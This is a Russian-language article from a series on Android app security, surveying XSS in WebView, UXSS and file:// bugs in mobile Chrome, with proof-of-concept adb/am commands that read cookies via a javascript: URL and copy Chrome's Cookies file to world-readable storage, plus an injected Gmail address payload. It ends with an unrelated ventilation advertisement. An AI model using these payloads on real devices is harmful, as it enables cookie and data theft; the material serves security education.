Новость из категории: Информация

Баги в приложениях для Android: какие бывают уязвимости

Содержание:
1. Введение;
2. Пара слов о безопасности и инструменты для анализа;
3. Динамический анализ;
4. Какие бывают уязвимости (Вы читаете данный раздел);
5. SQLite-inj в приложении.
Баги в приложениях для Android: какие бывают уязвимости

На данный момент известны и эксплуатируются уязвимости, знакомые тем, кто занимается пентестом веб-сервисов:
• XSS — «межсайтовый скриптинг», то есть выполнение произвольного javascript,
в данном случае в рамках приложения;
• UXSS—«универсальный межсайтовый скриптинг», выполнение javascript на любой открытой странице;
• SQL-инъекции — возможность внедрения своего кода в SQL-запрос;
• Spoofing — подмена ответов сервера.

Далее рассмотрим каждую уязвимость.

ТИП 1. XSS В ПРИЛОЖЕНИИ
Огромную опасность представляет XSS в приложениях. Например, если в приложении с помощью компонента WebView() включен javascript, то мы можем выполнить вредоносный код, который позволит получить со смарт-фона приватные данные. В качестве примера можно рассмотреть нашумевшую в прошлом году уязвимость в приложении Gmail под Android. Суть уязвимости заключалась в следующем. Если в приложении послать письмо с адреса "onload=window.location='http:// google.com'"0somedmn.com, то можно было увидеть страницу Google в приложении G mail. На основе этого нетрудно написать JS-код, который будет получать мыльники и посылать их нам на заготовленный сниффер.

Баги в приложениях для Android: какие бывают уязвимости

Таким образом, если ты найдешь XSS в приложении, то существует большой шанс получить данные. Однако не стоит забывать, что для этого должен использоваться компонент WebView и setjavascriptEnabled().

ТИП 2. UXSS И FILE://
Существует отдельный вид уязвимостей — UXSS (Universal Cross Site Scripting). Этот тип уязвимостей специфичен для браузеров, так как позволяет выполнять javascript-код на любой своей открытой странице. Из «большого» мира для примера можно вспомнить баг в Opera (bit.ly/SPcwvm). А в качестве примера по теме нашей статьи возьмем 0-day, найденный Артёмом Чайкиным в мобильной версии браузера Chrome (благодаря ему Артём, кстати, попал в Зал славы Гугла). Суть данной уязвимости проста — использование javascript: в URL текущей вкладки.

Приведу сразу PoC. Запускаем shell на Android-устройстве (используется эмулятор или реальный девайс — это неважно):
shelliSandroid:/ $ am start -n
com.android.chrome/com.google.android.
apps.chrome.SimpleChromeActivity -d
'http://www.google.ru'

И у нас запускается Chrome с google.ru в текущей вкладке. А теперь используем javascript внутри URL:
shelliSandroid:/ $ am start -n
com.android.chrome/com.google.android.
apps.chrome.SimpleChromeActivity -d
'javascript:alert(document.cookie)'

И мы увидим кукис (document.cookie) сайта на текущей вкладке (в данном случае google. ru). Или другой вариант: показать окно о том, что версия браузера устарела, предложив обновиться, перейдя по указанному адресу с заранее заготовленным зловредным содержанием. Вариантов много.
Также можно запускать Chrome через команду adb shell. Тогда, например, последняя команда будет выглядеть так:
adb shell am start -n
com.android.chrome/com.google.android.
apps.chrome.SimpleChromeActivity -d
'javascript:alert(document.cookie)'

Теперь еще один интересный баг, опубликованный тем же исследователем. Как известно, файлы приложения доступны только самому приложению. Но разработчики Chrome допустили использование протокола file://, и благодаря этому мы можем получить файлы приложения и загрузить их на карточку с правами, позволяющими любому приложению открыть их. PoC выглядит следующим образом:
shelliSandroid:/ $ am start -n
com.android.chrome/com.android.chrome.
Main -d 'file:///data/data/com.android.
chrome/app chrome/Default/Cookies'


Баги в приложениях для Android: какие бывают уязвимости
Скачанный через file файл Cookies с правами на чтение «для всех»

И в /sdcard/Downloads/Cookies.bin мы увидим наши печеньки с правами «Для всех». Теперь любое приложение может прочитать такой файл и отправить их злоумышленнику, чтобы он смог авторизоваться на каком-нибудь веб-сервисе, используя полученные данные.

Баги в приложениях для Android: какие бывают уязвимости
Находим уязвимый участок кода




Собираетесь приступить к поиску багов в приложениях для Android сразу же после того, как построите загородный дом? В таком случае, Вам определенно точно следует знать, что приточная вентиляция дома (http://www.informteh.ru/sistemi_ventiljacii/ventiljacija_v_dome/) - это лучший и наиболее выгодный вариант для жилой конструкции, которую собираются использовать круглый год! Узнайте подробности на www.informteh.ru.

Рейтинг статьи

Оценка
0/5
голосов: 0
Ваша оценка статье по пятибальной шкале:
 
 
   

Поделиться

Похожие новости

Комментарии

^ Наверх